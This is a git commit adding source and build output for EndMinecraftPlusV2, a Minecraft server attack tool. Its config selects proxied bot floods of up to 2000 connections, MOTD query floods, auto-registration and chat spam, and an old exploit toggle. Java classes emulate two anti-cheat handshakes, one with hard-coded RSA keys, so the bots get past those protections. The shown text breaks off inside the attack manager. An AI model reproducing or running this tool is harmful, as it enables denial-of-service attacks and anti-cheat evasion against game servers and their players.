commit fd1519d59d29104aebefb95f2be699f5ff00bbbd
Author: SerendipityR <48401197+SerendipityR-2022@users.noreply.github.com>
Date: Wed Aug 17 16:02:59 2022 +0800
EndMinecraftPlus重制版 开源~
diff --git a/EndMinecraftPlusV2.iml b/EndMinecraftPlusV2.iml
new file mode 100644
index 0000000..96b25d8
--- /dev/null
+++ b/EndMinecraftPlusV2.iml
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/libs/AntiCheat3.jar b/libs/AntiCheat3.jar
new file mode 100644
index 0000000..e81281e
Binary files /dev/null and b/libs/AntiCheat3.jar differ
diff --git a/libs/MC-1.10.jar b/libs/MC-1.10.jar
new file mode 100644
index 0000000..328855e
Binary files /dev/null and b/libs/MC-1.10.jar differ
diff --git a/libs/MC-1.11.2.jar b/libs/MC-1.11.2.jar
new file mode 100644
index 0000000..6a8f14a
Binary files /dev/null and b/libs/MC-1.11.2.jar differ
diff --git a/libs/MC-1.12.1.jar b/libs/MC-1.12.1.jar
new file mode 100644
index 0000000..e697859
Binary files /dev/null and b/libs/MC-1.12.1.jar differ
diff --git a/libs/MC-1.12.2.jar b/libs/MC-1.12.2.jar
new file mode 100644
index 0000000..39dbd1e
Binary files /dev/null and b/libs/MC-1.12.2.jar differ
diff --git a/libs/MC-1.12.jar b/libs/MC-1.12.jar
new file mode 100644
index 0000000..b22e276
Binary files /dev/null and b/libs/MC-1.12.jar differ
diff --git a/libs/MC-1.13.2.jar b/libs/MC-1.13.2.jar
new file mode 100644
index 0000000..32f3333
Binary files /dev/null and b/libs/MC-1.13.2.jar differ
diff --git a/libs/MC-1.13.jar b/libs/MC-1.13.jar
new file mode 100644
index 0000000..5f8f7e4
Binary files /dev/null and b/libs/MC-1.13.jar differ
diff --git a/libs/MC-1.7.10.jar b/libs/MC-1.7.10.jar
new file mode 100644
index 0000000..66e6e2c
Binary files /dev/null and b/libs/MC-1.7.10.jar differ
diff --git a/libs/MC-1.7.2.jar b/libs/MC-1.7.2.jar
new file mode 100644
index 0000000..c80d6f7
Binary files /dev/null and b/libs/MC-1.7.2.jar differ
diff --git a/libs/MC-1.8.jar b/libs/MC-1.8.jar
new file mode 100644
index 0000000..43ff6aa
Binary files /dev/null and b/libs/MC-1.8.jar differ
diff --git a/libs/MC-1.9.jar b/libs/MC-1.9.jar
new file mode 100644
index 0000000..a70d0b0
Binary files /dev/null and b/libs/MC-1.9.jar differ
diff --git a/libs/javassist-3.22.0-CR2.jar b/libs/javassist-3.22.0-CR2.jar
new file mode 100644
index 0000000..0b02004
Binary files /dev/null and b/libs/javassist-3.22.0-CR2.jar differ
diff --git a/out/artifacts/EndMinecraftPlusV2_jar/EndMinecraftPlusV2.jar b/out/artifacts/EndMinecraftPlusV2_jar/EndMinecraftPlusV2.jar
new file mode 100644
index 0000000..f9ccad3
Binary files /dev/null and b/out/artifacts/EndMinecraftPlusV2_jar/EndMinecraftPlusV2.jar differ
diff --git a/out/production/EndMinecraftPlusV2/META-INF/MANIFEST.MF b/out/production/EndMinecraftPlusV2/META-INF/MANIFEST.MF
new file mode 100644
index 0000000..8001206
--- /dev/null
+++ b/out/production/EndMinecraftPlusV2/META-INF/MANIFEST.MF
@@ -0,0 +1,3 @@
+Manifest-Version: 1.0
+Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2
+
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AnotherStarAntiCheat.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AnotherStarAntiCheat.class
new file mode 100644
index 0000000..645550d
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AnotherStarAntiCheat.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AntiCheat3.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AntiCheat3.class
new file mode 100644
index 0000000..3d78b60
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AntiCheat3.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/AttackManager.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/AttackManager.class
new file mode 100644
index 0000000..485cded
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/AttackManager.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/BotAttack$1.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/BotAttack$1.class
new file mode 100644
index 0000000..19009a8
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/BotAttack$1.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/BotAttack.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/BotAttack.class
new file mode 100644
index 0000000..f205825
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/BotAttack.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/DoubleAttack.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/DoubleAttack.class
new file mode 100644
index 0000000..d5005a1
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/DoubleAttack.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/IAttack.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/IAttack.class
new file mode 100644
index 0000000..d52ab7a
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/IAttack.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttack.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttack.class
new file mode 100644
index 0000000..295b272
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttack.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttackP.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttackP.class
new file mode 100644
index 0000000..fc2a66a
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MotdAttackP.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MultiVersionPacket.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MultiVersionPacket.class
new file mode 100644
index 0000000..9889ed4
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/Methods/MultiVersionPacket.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/ProtocolLibs.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/ProtocolLibs.class
new file mode 100644
index 0000000..dffc9db
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/ProtocolLibs.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.class
new file mode 100644
index 0000000..392813b
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForge$1.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForge$1.class
new file mode 100644
index 0000000..5122a90
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForge$1.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForge.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForge.class
new file mode 100644
index 0000000..3bce08f
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForge.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShake.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShake.class
new file mode 100644
index 0000000..fd2cbf2
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShake.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV1.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV1.class
new file mode 100644
index 0000000..d67dbee
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV1.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV2$LoginWrapper.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV2$LoginWrapper.class
new file mode 100644
index 0000000..dc9590d
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV2$LoginWrapper.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV2.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV2.class
new file mode 100644
index 0000000..a892bdd
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV2.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeInject.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeInject.class
new file mode 100644
index 0000000..23319b9
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeInject.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$Description.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$Description.class
new file mode 100644
index 0000000..37b5d77
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$Description.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$ModInfo$ModID.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$ModInfo$ModID.class
new file mode 100644
index 0000000..9a1bb36
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$ModInfo$ModID.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$ModInfo.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$ModInfo.class
new file mode 100644
index 0000000..2438c92
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$ModInfo.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$Players.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$Players.class
new file mode 100644
index 0000000..7f00de4
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$Players.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$Version.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$Version.class
new file mode 100644
index 0000000..40063d0
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response$Version.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response.class
new file mode 100644
index 0000000..f0bb367
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD$Response.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD.class
new file mode 100644
index 0000000..0cbd684
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeUtils.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeUtils.class
new file mode 100644
index 0000000..041bcfe
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeUtils.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/UnknownPacket.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/UnknownPacket.class
new file mode 100644
index 0000000..94d0be4
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/UnknownPacket.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.class
new file mode 100644
index 0000000..90c9591
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.class
new file mode 100644
index 0000000..e358a3b
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.class
new file mode 100644
index 0000000..0c901e3
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.class
new file mode 100644
index 0000000..3724eef
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.class
new file mode 100644
index 0000000..2d91f7c
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.class
new file mode 100644
index 0000000..bfd9ad7
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.class differ
diff --git a/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.class b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.class
new file mode 100644
index 0000000..fe78a4e
Binary files /dev/null and b/out/production/EndMinecraftPlusV2/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.class differ
diff --git a/out/production/EndMinecraftPlusV2/config.yml b/out/production/EndMinecraftPlusV2/config.yml
new file mode 100644
index 0000000..6ff8786
--- /dev/null
+++ b/out/production/EndMinecraftPlusV2/config.yml
@@ -0,0 +1,58 @@
+##############################
+# EndMinecraftPlusV2 #
+# Forked by SerendipityR #
+##############################
+
+AttackSettings:
+ Address: "example.com"
+ Port: 25565
+ # 攻击方式:
+ # 1 - BotAttack - 集群假人(代理)
+ # 2 - MotdAttackP - MOTD压测(代理)
+ # 3 - MotdAttack - MOTD压测(无代理)
+ # 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用)
+ Method: 1
+ Time: 3600
+ ConnectDelay: 250
+ # 实际连接数由代理质量和机器性能有关
+ # 进行无代理Motd压测时不建议大于32
+ MaxConnections: 2000
+ # 旧版漏洞利用,大概率无效
+ TabAttack: true
+ AntiAttackMode: true
+ DoubleExploitPlayer: "ImOldSix_666"
+
+BotSettings:
+ # 可用占位符:
+ # $rnd - 随机字符
+ # $pwd - 随机生成密码
+ BotName: "ImOldSix_$rnd"
+ BotCount: 1000
+ RejoinCount: 5
+ RejoinDetect:
+ - "AntiAttack"
+ ClickVerifiesDetect:
+ - "点击验证"
+ Register&Login: true
+ RegisterCommands:
+ - "/register $pwd $pwd"
+ - "/login $pwd"
+ CustomChat:
+ - "喵喵喵萌喵~ $rnd"
+ - "喵喵喵萌~ $rnd"
+ - "喵喵喵~ $rnd"
+ - "喵喵~ $rnd"
+ - "喵~ $rnd"
+ ChatDelay: 3
+
+Proxy:
+ # 代理获取方式:
+ # 1 - API - 从API获取
+ # 2 - File - 从本地读取
+ # 3 - File + API - 两种方式同时获取
+ GetType: 1
+ UpdateTime: 300
+ File: "proxies.txt"
+ APIs:
+ - "http://www.66ip.cn/mo.php?tqsl=9999"
+ - "https://www.89ip.cn/tqdl.html?api=1&num=9999"
\ No newline at end of file
diff --git a/out/production/EndMinecraftPlusV2/data.yml b/out/production/EndMinecraftPlusV2/data.yml
new file mode 100644
index 0000000..3bca5df
--- /dev/null
+++ b/out/production/EndMinecraftPlusV2/data.yml
@@ -0,0 +1,2 @@
+Data:
+ - ""
\ No newline at end of file
diff --git a/src/META-INF/MANIFEST.MF b/src/META-INF/MANIFEST.MF
new file mode 100644
index 0000000..8001206
--- /dev/null
+++ b/src/META-INF/MANIFEST.MF
@@ -0,0 +1,3 @@
+Manifest-Version: 1.0
+Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2
+
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AnotherStarAntiCheat.java b/src/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AnotherStarAntiCheat.java
new file mode 100644
index 0000000..dd860e2
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AnotherStarAntiCheat.java
@@ -0,0 +1,103 @@
+package cn.serendipityr.EndMinecraftPlusV2.ACProtocol;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufInputStream;
+import io.netty.buffer.ByteBufOutputStream;
+import io.netty.buffer.Unpooled;
+import org.spacehq.opennbt.NBTIO;
+import org.spacehq.opennbt.tag.builtin.ByteArrayTag;
+import org.spacehq.opennbt.tag.builtin.CompoundTag;
+import org.spacehq.opennbt.tag.builtin.ListTag;
+
+import javax.crypto.Cipher;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.math.BigInteger;
+import java.security.KeyFactory;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.spec.RSAPrivateKeySpec;
+import java.security.spec.RSAPublicKeySpec;
+import java.util.HashSet;
+
+public class AnotherStarAntiCheat {
+ private final RSAPublicKeySpec clientPublicKey;
+ private final RSAPrivateKeySpec clientPrivateKey;
+ private final RSAPrivateKeySpec serverPrivateKey;
+ private final Cipher clientPublicCipher;
+ private final Cipher clientPrivateCipher;
+
+ {
+ clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537"));
+ clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633"));
+ serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153"));
+
+ try {
+ (clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey));
+ (clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey));
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private void ctsEncode(ByteBuf buf, byte[][] md5s) {
+ try {
+ CompoundTag nbt = new CompoundTag("");
+ ListTag strList = new ListTag("md5s", ByteArrayTag.class);
+ for (final byte[] md5 : md5s) {
+ strList.add(new ByteArrayTag("", md5));
+ }
+ nbt.put(strList);
+ NBTIO.writeTag(new DataOutputStream(new ByteBufOutputStream(buf)), nbt);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private byte[] stcDecode(ByteBuf buf) {
+ try {
+ CompoundTag nbt = (CompoundTag) NBTIO.readTag(new DataInputStream(new ByteBufInputStream(buf)));
+ return ((ByteArrayTag) nbt.get("salt")).getValue();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public byte[] encodeCPacket(String[] md5s, String salt) {
+ try {
+ HashSet rsaMd5s = new HashSet();
+ for (String md5 : md5s) {
+ rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes()));
+ }
+
+ ByteBuf buf = Unpooled.buffer();
+ buf.writeByte(1); // packet id
+ ctsEncode(buf, rsaMd5s.toArray(new byte[0][]));
+ return buf.array();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public String decodeSPacket(byte[] data) {
+ try {
+ ByteBuf buf = Unpooled.copiedBuffer(data);
+ buf.readByte(); // packet id
+ return new String(clientPrivateCipher.doFinal(stcDecode(buf)));
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public String md5(String str) {
+ try {
+ MessageDigest md = MessageDigest.getInstance("MD5");
+ md.update(str.getBytes());
+ byte[] digest = md.digest();
+ return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
+ } catch (NoSuchAlgorithmException e) {
+ return null;
+ }
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AntiCheat3.java b/src/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AntiCheat3.java
new file mode 100644
index 0000000..1c6b53e
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/ACProtocol/AntiCheat3.java
@@ -0,0 +1,81 @@
+package cn.serendipityr.EndMinecraftPlusV2.ACProtocol;
+
+import java.io.*;
+import java.math.BigInteger;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
+
+public class AntiCheat3 {
+
+ public byte[] getCheckData(String acFile, String code, String[] md5List) {
+ try {
+ byte[] buf1 = code.substring(0, 30).getBytes();
+
+ FileInputStream in = new FileInputStream(new File("lib", acFile));
+ byte[] buf2 = new byte[in.available()];
+ in.read(buf2);
+
+ byte[] buf3 = new byte[buf1.length + buf2.length];
+ System.arraycopy(buf1, 0, buf3, 0, buf1.length);
+ System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length);
+
+ try {
+ in.close();
+ } catch (IOException e2) {
+ }
+
+ String result = "";
+ if (md5List != null) {
+ for (String md5 : md5List) {
+ result += md5 + ",";
+ }
+ }
+ result += md5(buf3);
+ return compress(result);
+ } catch (IOException e) {
+ e.printStackTrace();
+ return null;
+ }
+ }
+
+ public byte[] compress(String str) {
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ GZIPOutputStream gzip;
+ try {
+ gzip = new GZIPOutputStream(out);
+ gzip.write(str.getBytes());
+ gzip.close();
+ } catch (IOException e) {
+ }
+ return out.toByteArray();
+ }
+
+ public String uncompress(byte[] data) {
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ ByteArrayInputStream in = new ByteArrayInputStream(data);
+ try {
+ GZIPInputStream ungzip = new GZIPInputStream(in);
+ byte[] buffer = new byte[256];
+ int n;
+ while ((n = ungzip.read(buffer)) >= 0) {
+ out.write(buffer, 0, n);
+ }
+ } catch (IOException e) {
+ }
+
+ return new String(out.toByteArray());
+ }
+
+ public String md5(byte[] buf) {
+ try {
+ MessageDigest md = MessageDigest.getInstance("MD5");
+ md.update(buf);
+ byte[] digest = md.digest();
+ return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
+ } catch (NoSuchAlgorithmException e) {
+ return null;
+ }
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/AttackManager.java b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/AttackManager.java
new file mode 100644
index 0000000..cbbc913
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/AttackManager.java
@@ -0,0 +1,76 @@
+package cn.serendipityr.EndMinecraftPlusV2.AttackUtils;
+
+import cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods.*;
+import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
+import cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol.MCForge;
+import cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol.MCForgeMOTD;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Random;
+
+public class AttackManager {
+ public static void doAttack() {
+ LogUtil.emptyLog();
+
+ switch (ConfigUtil.AttackMethod) {
+ case 1:
+ // BotAttack
+ DataUtil.loadData();
+ if (DataUtil.botRegPasswords.size() < ConfigUtil.BotCount) {
